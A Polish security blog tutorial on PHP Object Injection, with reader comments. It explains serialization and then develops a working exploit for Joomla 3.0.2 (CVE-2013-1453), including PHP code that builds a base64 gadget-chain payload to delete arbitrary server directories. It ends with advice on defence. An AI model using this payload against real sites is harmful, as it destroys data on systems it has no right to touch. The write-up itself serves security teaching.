Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

PHP Object Injection – mało znana, krytyczna klasa podatności

05 czerwca 2014, 12:40 | Teksty | komentarzy 13

W tym artykule:

  • Pokażę w skrócie jak działa mechanizm serializacji w PHP,
  • Pokażę na czym polega podatność PHP Object Injection,
  • Przedstawię rzeczywisty przypadek Joomli – w której podatność pozwalała usuwać dowolne pliki z serwera.
Wyszukiwanie „PHP Object Injection” w Google’u zwraca też wyniki dla frazy „dependency injection”. W rzeczywistości „object injection” i „dependency injection” to dwa całkowicie różne terminy, ten drugi nie ma związku z bezpieczeństwem; jest jednym z wzorców projektowych w programowaniu obiektowym.

(De)Serializacja

Zanim przejdziemy do samego Object Injection, najpierw omówimy czym jest serializacja. Jak podaje Wikipedia:

Serializacja – w programowaniu komputerów proces przekształcania obiektów, tj. instancji określonych klas, do postaci szeregowej, czyli w strumień bajtów, z zachowaniem aktualnego stanu obiektu. (…) Serializacja służy do zapisu stanu obiektu, a później do odtworzenia jego stanu.

Procesem odwrotnym do serializacji jest deserializacja. Obiekty zserializowane mogą zostać zapisane na dysku, przechowane w pamięci bądź w bazie danych.

ser_deser

Serializacja / deserializacja

W języku PHP do serializacji i deserializacji używane są funkcje: serialize oraz unserialize.

Zobaczmy to na prostym przykładzie:

<?php
  class Test
  {
    public $x;
    public $y;
  }

  $t = new Test();
 
  $t->x=5199;
  $t->y="tekst";
 
  echo serialize($t)."\n";
?>

W przykładzie definiowana jest klasa o nazwie Test, zawierająca dwa pola publiczne: $x oraz $y. W zmiennej $t tworzymy instancję tej klasy i przypisujemy wartości do pól. Później wyświetlamy na ekranie zserializowaną formę tej instancji. Wynik wykonania kodu pokazano poniżej:

O:4:"Test":2:{s:1:"x";i:5199;s:1:"y";s:5:"tekst";}

Interpretacja otrzymanego łańcucha znaków nie powinna być trudna nawet dla niewprawionego oka, ale przejdźmy przez nią krok po kroku:

  • O:4:”Test”:  – Obiekt klasy, której nazwa ma 4 znaki i brzmi: Test.
  • 2:{  – zostaną podane wartości dla dwóch pól,
  • s:1:”x”;i:5199;  – definicja pola, którego nazwa ma 1 znak i brzmi x, zaś wartość jest typu integer i wynosi 5199,
  • s:1:”y”;s:5:”tekst”;  – definicja pola, którego nazwa ma 1 znak i brzmi y, zaś wartość jest typu string, ma 5 znaków i jest równa „tekst”.

Teraz wykonajmy operację w drugą stronę, tj. zdeserializujmy klasę z podanego powyżej ciągu tekstowego.

<?php
  class Test
  {
    public $x;
    public $y;
  }
 
  $serialized = 'O:4:"Test":2:{s:1:"x";i:5199;s:1:"y";s:5:"tekst";}';
  $o = unserialize($serialized);
  print_r($o);

?>

Do zmiennej $o  przypisujemy zdeserializowany obiekt i wypisujemy informację o tym obiekcie za pomocą funkcji print_r(). Musimy pamiętać, że w tym przykładzie też musi znaleźć się definicja klasy Test, gdyż w przeciwnym razie parser PHP nie potrafiłby odtworzyć instancji nieznanej mu klasy.

Rezultat wykonania kodu powinien być następujący:

Test Object
(
    [x] => 5199
    [y] => tekst
)

Jak widać, wskutek deserializacji obiektu udało się odtworzyć pierwotny obiekt.

Object injection

Ostrzeżenie z manuala PHP

Ostrzeżenie z dokumentacji PHP

Tyle jeśli chodzi o podstawy. Dokumentacja PHP w artykule o funkcji unserialize() ostrzega przed używaniem jej na niezaufanych danych użytkownika.

W tym rozdziale zobaczymy, dlaczego przyjmowanie takich danych może być niebezpieczne oraz pokażemy na prostym przykładzie złośliwe wykorzystanie podatności.

Zacznijmy od istotnej uwagi: w PHP serializacji podlegają tylko atrybuty obiektów klas. Nie ma możliwości zserializowania kodu metod, ani też nie ma sposobu, by w wyniku deserializacji wywołać dowolną metodę. W PHP istnieją jednak tzw. magiczne metody (magic methods). Mają one specjalne znaczenie i są wywoływane w pewnych okolicznościach. Łatwo można je rozpoznać po dwóch znakach podkreślenia na początku nazwy (np. __construct()). Z punktu widzenia PHP Object Injection najbardziej interesować nas będą trzy metody:

  • __destruct()  – destruktor, wywoływany gdy do danej instancji klasy nie prowadzą już żadne referencje bądź w trakcie wyłączania aplikacji,
  • __wakeup()  – metoda wywoływana po wykonaniu funkcji unserialize(),
  • __toString()  – metoda wywoływana, gdy istnieje potrzeba rzutowania obiektu na string (np. w razie wywołania echo $obiekt;).

Stwórzmy prostą klasę Logger , która w konstruktorze generuje ścieżkę do pliku z tymczasowym logiem oraz tworzy ten plik, zaś w destruktorze go usuwa.

<?php
  define('LOG_FILE_PATH', '/var/log/sekurak/');
  class Logger
  {
    private $logfile;
   
    public function __construct()
    {
      $this->logfile = LOG_FILE_PATH . "logger.log.tmp";
      touch($this->logfile);
    }
    public function __destruct()
    {
      echo "Usuwamy ".($this->logfile)."...\n";
      unlink($this->logfile);
    }
  }
  $logger = new Logger();
  var_export(serialize($logger));
?>
Wynik działania funkcji serialize() może zawierać bajty zerowe. Dlatego zamiast echo , do wypisywania wartości wywołań tej funkcji, będziemy używać var_export() .

Oczywiście rzeczywisty logger powinien zawierać jeszcze dodatkowe metody (choćby log()), ale nie zostały tutaj zawarte dla większej klarowności przykładu ;).

W wyniku wykonania powyższego kodu powinniśmy otrzymać dwie linie:

Usuwamy /var/log/sekurak/logger.log.tmp...
'O:6:"Logger":1:{s:15:"' . "" . 'Logger' . "" . 'logfile";s:31:"/var/log/sekurak/logger.log.tmp";}'

Zauważcie, że w danych zserializowanych znajduje się pełna ścieżka do pliku, który jest usuwany. Spróbujmy więc tę ścieżkę podmienić na inną, wskazującą jakiś ważny plik w systemie. Na przykład: /etc/bardzo_wazny_plik .

Instancja klasy Logger z tą ścieżką będzie się prezentowała następująco:

'O:6:"Logger":1:{s:15:"' . "" . 'Logger' . "" . 'logfile";s:22:"/etc/bardzo_wazny_plik";}'

Oczywiście musiałem zamienić s:31 z poprzedniego przykładu na s:22, aby zgadzała się długość łańcucha znaków.

Wprowadźmy małą modyfikację do kodu – zamiast tworzyć instancję klasy przez operator new, po prostu ją zdeserializujmy.

<?php
  define('LOG_FILE_PATH', '/var/log/sekurak/');
  class Logger
  {
    private $logfile;
    
    public function __construct()
    {
      $this->logfile = LOG_FILE_PATH . "logger.log.tmp";
      touch($this->logfile);
    }
    public function __destruct()
    {
      echo "Usuwamy ".($this->logfile)."...\n";
      unlink($this->logfile);
    } 
  }

  $serialized = 'O:6:"Logger":1:{s:15:"' . "" . 'Logger' . "" . 'logfile";s:22:"/etc/bardzo_wazny_plik";}';
  $o = unserialize($serialized);

?>

Wynik wykonania powinien być następujący (chyba że plik /etc/bardzo_wazny_plik rzeczywiście istnieje ;)):

Usuwamy /etc/bardzo_wazny_plik...
PHP Warning:  unlink(/etc/bardzo_wazny_plik): No such file or directory in /root/unpickle/php/ser.php on line 15

Reasumując: aplikacja zawierająca klasę Logger, przyjmująca dane do deserializacji z niezaufanych źródeł, jest podatna na usuwanie dowolnych plików na serwerze.

Ważny wniosek jaki płynie z powyższego rozumowania jest taki, że możliwości jakie daje atak Object Injection ściśle zależą od tego, co zawierają magiczne metody klas używanych w tej aplikacji. Rzeczywiste studia przypadków pokazują, że Object Injection może prowadzić do praktycznie każdej podatności webowej (SQL Injection, XSS, Path Traversal, Remote Code Execution itp.). Kilka rzeczywistych przykładów zawarłem na końcu dokumentu w Dalszej lekturze.

Nie zawsze jednak atak da się przeprowadzić tak prosto jak w przykładowej klasie Logger. Często destruktory oraz inne magiczne metody nie zawierają „ciekawego” kodu same w sobie, a dopiero inne metody, wywoływane przez nie, mogą zawierać kod, który da się wykorzystać złośliwie.

Joomla – studium przypadku

Weźmy na tapetę Joomlę w wersji 3.0.2. W zeszłym roku został ogłoszony błąd CVE-2013-1453:

plugins/system/highlight/highlight.php in Joomla! 3.0.x through 3.0.2 and 2.5.x through 2.5.8 allows attackers to unserialize arbitrary PHP objects to obtain sensitive information, delete arbitrary directories, conduct SQL injection attacks, and possibly have other impacts via the highlight parameter.

Opis tej podatności po angielsku można też znaleźć na blogu badacza, który odkrył błąd.

Analizę zaczynamy od pliku wspomnianego w CVE, czyli plugins/system/highlight/highlight.php.

$terms = $input->request->get('highlight', null, 'base64');
$terms = $terms ? unserialize(base64_decode($terms)) : null;

Podatność jest widoczna: pobierany jest parametr GET highlight, dekodowany z base64 i deserializowany.

Jak już nauczyliśmy się z poprzedniego rozdziału, musimy przejrzeć magiczne metody w klasach Joomli w poszukiwaniu kodu, który będzie się dało złośliwie wykorzystać. Sprawdźmy, jak dużo metod będzie do przejrzenia…

Grep magicznych metod

Poszukiwanie magicznych metod.

W sumie 64 metody (choć wynik jest zawyżony ze względu na użycie prostego grepa). Nie jest to dużo i da się zrobić w sensownym czasie ;)

Pierwszą interesującą metodę znajdziemy w pliku plugins/system/debug/debug.php, jest to destruktor klasy plgSystemDebug . Na początku ciała tej metody znajdziemy warunek:

	public function __destruct()
	{
		// Do not render if debugging or language debug is not enabled
		if (!JDEBUG && !$this->debugLang)
		{
			return;
		}

Wywoływanie destruktora jest natychmiast kończone, jeśli wartość pola $this->debugLang  jest ustawiona na FALSE . Musimy zatem pamiętać o ustawieniu tego atrybutu na TRUE podczas tworzenia własnej instancji.

Dalszy fragment destruktora:

		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}

Przyjrzyjmy się więc metodzie isAuthorisedDisplayDebug() :

		// If the user is not allowed to view the output then end here
		$filterGroups = (array) $this->params->get('filter_groups', null);

Pobierane jest pole params z aktualnej instancji klasy, na którym wywoływana jest metoda get(). Zapamiętajmy, że pierwszym argumentem owego wywołania jest ’filter_groups’. Ponieważ w ramach serializacji możemy pod $this->params podstawić dowolny obiekt, przejrzyjmy klasy ze zdefiniowaną metodą get(). Jedną znajdziemy w pliku libraries/joomla/input/input.php, jest to klasa JInput. Oto fragment:

	public function get($name, $default = null, $filter = 'cmd')
	{
		if (isset($this->data[$name]))
		{
			return $this->filter->clean($this->data[$name], $filter);
		}

		return $default;
	}

Widzimy, że aby przejść przez warunek z linii 159, musimy zdefiniować w naszej instancji wartość pod $this->data[’filter_groups’]. Dalej w linii 161 wywołujemy metodę clean() , więc podobnie jak wcześniej, szukamy klas z taką metodą. Zwróćmy uwagę, że drugi argument wywołania będzie na pewno równy ’cmd’.

Prędzej czy później wylądujemy w pliku libraries/joomla/cache/storage/file.php w metodzie clean() klasyJCacheStorageFile

	public function clean($group, $mode = null)
	{
		$return = true;
		$folder = $group;

		if (trim($folder) == '')
		{
			$mode = 'notgroup';
		}

		switch ($mode)
		{
			case 'notgroup':
				$folders = $this->_folders($this->_root);
				for ($i = 0, $n = count($folders); $i < $n; $i++)
				{
					if ($folders[$i] != $folder)
					{
						$return |= $this->_deleteFolder($this->_root . '/' . $folders[$i]);
					}
				}
				break;
			case 'group':
			default:
				if (is_dir($this->_root . '/' . $folder))
				{
					$return = $this->_deleteFolder($this->_root . '/' . $folder);
				}
				break;
		}
		return $return;
	}

W instrukcji switch zostanie wykonany warunek default. Tam z kolei, usuwany jest katalog, którego ścieżka jest pobierana z pola $this->_root oraz ze zmiennej $folder (w której znajdzie się pierwszy argument wywołania funkcji). Obie wartości mamy pod kontrolą, więc możemy usuwać dowolne katalogi na dysku.

Dla przypomnienia, potrzebujemy następujących elementów:

  • Klasę plgSystemDebug, z atrybutem $debugLang=true; oraz obiektem klasy JInput w polu $params ;
  • Klasę JInput, w której musimy zdefiniować tablicę asocjacyjną w polu $data (w której, z kolei, pod kluczem ’filter_groups’ powinna znajdować się nazwa usuwanego katalogu) oraz obiekt klasy JCacheStorageFile w polu $filter.
  • Klasę JCacheStorageFile, w której atrybut $_root powinien wskazywać na ścieżkę usuwanego katalogu.

Format serializacji PHP jest dość prosty i odpowiedni payload można przygotować ręcznie. Posłużymy się jednak kodem PHP, aby proces uprościć i uczynić bardziej czytelnym. Kod ten nie musi być w żaden sposób powiązany z kodem Joomli – po prostu zdefiniujemy klasy o takich nazwach jakie są nam potrzebne i zdefiniujemy tylko pole wspomniane powyżej. Pozostałe atrybuty zostaną domyślnie zainicjalizowane przez PHP. Na końcu – zserializowany obiekt enkodujemy do base64, bo, jak pamiętamy, moduł highlight używał tego kodowania. W moim przykładzie, katalogiem, który aplikacja będzie próbowała usunąć będzie /var/www/katalog.

<?php
class JCacheStorageFile {
	protected $_root = '/var/www';
}
class JInput {
	protected $data = array(filter_groups => 'katalog');
	protected $filter = null;
	public function __construct() {
		$this->filter = new JCacheStorageFile();
	}
}
class plgSystemDebug {
       private $debugLang = true;
	public $params = null;
	public function  __construct() {
		$this->params = new JInput();
	}
}

$o = new plgSystemDebug();
$s = serialize($o);
$b = base64_encode($s);
var_export ($s);

echo "<br><br>$b";
?>

W odpowiedzi zobaczymy obiekt klasy plgSystemDebug w postaci zserializowanej oraz to samo w kodowaniu base64.

Teraz pozostaje już tylko wkleić ten base64 do Joomli i liczyć, że się wykona poprawnie. Sprawdzam to na lokalnej instalacji:

Zserializowany obiekt, podejście pierwsze

Generowanie zserializowanego obiektu

W odpowiedzi wyskoczyła jednak tylko biała strona, z kolei w error_logu pojawił się problem:

Biała strona w Joomli

Odpowiedź Joomli – biała strona

Error: klasy JInput nie można konwertować na string

Błąd PHP w error_log

Okazuje się, że destruktor klasy plgSystemDebug nie zostaje w ogóle wykonany, ponieważ wcześniej pojawia się fatal error: obiekt JInput nie może zostać zamieniony na string…

Poszukajmy przyczyny problemu; wracamy do pliku highlight.php, a więc winowajcy podatności.

		// Clean the terms array
		$filter = JFilterInput::getInstance();

		$cleanTerms = array();
		foreach ($terms as $term)
		{
			$cleanTerms[] = $filter->clean($term, 'string');
		}

Okazuje się, że po zdeserializowaniu danych, aplikacja „czyści” (wywołanie $filter->clean()) odtworzone obiekty. Owo czyszczenie składa się między innymi z ochrony przed XSS-em, do którego wymagane jest rzutowanie obiektu na string. Jak widzieliśmy w komunikacie o błędzie, przy klasie JInput to się nie udało i program został ubity. Problem rozwiążemy w dość prosty sposób: znajdziemy w Joomli dowolną klasę ze zdefiniowaną metodą __toString() i w niej zagnieździmy obiekt plgSystemDebug. Po szybkim przejrzeniu źródeł, wybrałem klasę JAccessRule (plik libraries/joomla/access/rule.php), z taką metodą:

	public function __toString()
	{
		return json_encode($this->data);
	}

Modyfikuję więc kod odrobinę:

<?php
class JCacheStorageFile {
	protected $_root = '/var/www';
}
class JInput {
	protected $data = array(filter_groups => 'katalog');
	protected $filter = null;
	public function __construct() {
		$this->filter = new JCacheStorageFile();
	}
}
class plgSystemDebug {
        private $debugLang = true;
	public $params = null;
	public function  __construct() {
		$this->params = new JInput();
	}
}
class JAccessRule {
	public $debug;
	public function __construct() {
		$this->debug = new plgSystemDebug();
	}
}

$o = new JAccessRule();
$s = serialize($o);
$b = base64_encode($s);
var_export ($s);

echo "<br><br>$b";
?>

Jedyną nowością jest dodanie klasy JAccessRule, w której zdefiniowałem pole $debug z obiektem plgSystemDebug.

Wygenerujmy teraz payload, wrzućmy go do Joomli i zobaczmy, czy się wykona.

Zserializowany obiekt, podejście drugie

Generowanie zserializowanego obiektu, drugie podejście

Joomla ostrzega o próbie usunięcia folderu. Sukces!

Sukces! Joomla próbowała usunąć folder.

Tym razem exploit wykonał się poprawnie :) Wprawdzie widzimy ostrzeżenie Joomli, że nie może usunąć folderu, ale zrobiłem to tylko w celach prezentacji (gdyby webserwer miał uprawnienia do usuwania tego pliku, to zrobiłby to).

Podsumowując: udało się wykorzystać błąd typu PHP Object Injection w Joomli do usuwania folderów na serwerze.

Na zakończenie przenalizujmy jeszcze raz przepływ działania exploita:

  1. W pliku highlight.php deserializowany jest ciąg znaków z parametru GET highlight.
  2. Gdy została zniszczona ostatnia referencja do zdeserializowanego obiektu, wywoływany jest destruktor obiektu JAccessRule.
  3. Niszczony jest obiekt plgSystemDebug.
    1. W destruktorze wywoływana jest metoda $this->params->get(’filter_groups’, null), gdzie pod $this->params umieściliśmy obiekt klasy JInput.
    2. W metodzie get() obiektu JInput wywoływana jest metoda $this->filter->clean(’katalog’, 'cmd’) , gdzie pod $this->filter umieściliśmy obiekt klasy JCacheStorageFile .
    3. W metodzie clean() obiektu JCacheStorageFile wywoływana jest metoda $this->_deleteFolder($this->_root . '/’ . $folder) , która ostatecznie prowadzi do usunięcia wskazanego przez nas katalogu ( /var/www/katalog ) – gdyż pod $this->_root umieściliśmy ścieżkę /var/www/, zaś $folder===’katalog’ .

W ramach treningu dla zainteresowanych czytelników, polecam spróbować zmierzyć się z tą samą wersją Joomli i znaleźć SQL Injection ;)

Podsumowanie

Nigdy nie należy deserializować danych otrzymywanych od użytkownika. Narażamy się w ten sposób na PHP Object Injection, który, w zależności od używanych klas w aplikacji, może prowadzić do wielu innych podatności:

  • Usuwanie plików/katalogów na serwerze,
  • SQL Injection,
  • XSS,
  • Zdalne wykonywanie kodu.

W ramach zabezpieczenia się atakiem, powinniśmy użyć innego formatu, np. JSON, który sam w sobie nie umożliwia tworzenia obiektów dowolnych klas. Jeśli deserializacja danych jest koniecznie potrzebna, warto pomyśleć o dodatkowym zabezpieczeniu, takim jak klucz HMAC lub szyfrowaniu.

Inne języki programowania obsługujące deserializację również mogą być podatne na problem analogiczny do PHP Object Injection. Procedura exploitacji tych podatności znacząco się jednak różni pomiędzy poszczególnymi językami. Już wkrótce pokażemy jak wykorzystać podobną podatność w Pythonie.

 Dalsza lektura

 – Michał Bentkowski jest konsultantem (czyt.: hackerem;) w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. red

    Object Injection jest już raczej dobrze znane developerom (przynajmniej tak mi się wydaje). Za to dużo ludzi wciąż nie zdaje sobie sprawy z potencjalnych błędów bezpieczeństwa wynikających z operatora porównania (==) w PHP.

    Odpowiedz
    • Odpowiedz
    • Z tą znajomością zagadnień security to bym nie przesadzał ;) Choć oczywiście jest dużo developerów którzy tutaj mają solidną wiedzę.

      Odpowiedz
    • Często problemem jest też brak troski o bezpieczeństwo. Podejście niektórych adminów do spraw bezpieczeństwa jest naprawdę straszne.

      Odpowiedz
  2. Michał

    Joomla to nasza zmora na współdzielonym hostingu. Ludzie instalują bo jest to proste ale pózniej myślą, ze nie trzeba nic wiecej robic tylko wrzucać nowe treści. Pózniej jak zwykle jest jakis blad, ktos sie wlamuje i jest awantura bo serwer dziurawy.

    Odpowiedz
  3. bl4de

    Bardzo fajnie opisane :)

    Nie tylko sama podatność, ale i cały proces „dochodzenia” do sposobu jej wykorzystania :)

    Odpowiedz
    • Teraz pozostaje nacisnąć przycisk „share” ;-)

      Odpowiedz
      • bl4de

        Poszło poszło, na LinkedIn już „krąży” ;)

        Odpowiedz
    • zero one

      bl4de? Bogdan bl4de?
      Proszę wybaczyć zainteresowanie.

      Odpowiedz
  4. józek

    ja bym chłopakowi dał pierwszą nagrodę w konkursie :D
    (nareszcie zrobiłem coś samodzielnie w PHP! xD)

    Odpowiedz
    • No ba.
      Tyle, że Michał nie brał udziału w konkursie ;-)

      Odpowiedz
  5. Piterek

    Czy jest szansa, aby te artykuły można było pobrać w pdf? Bo niestety kopiuj wklej nie działa idealnie.

    Odpowiedz
    • nie, w sekurak zinie tylko – sekurak.pl/offline/

      Odpowiedz

Odpowiedz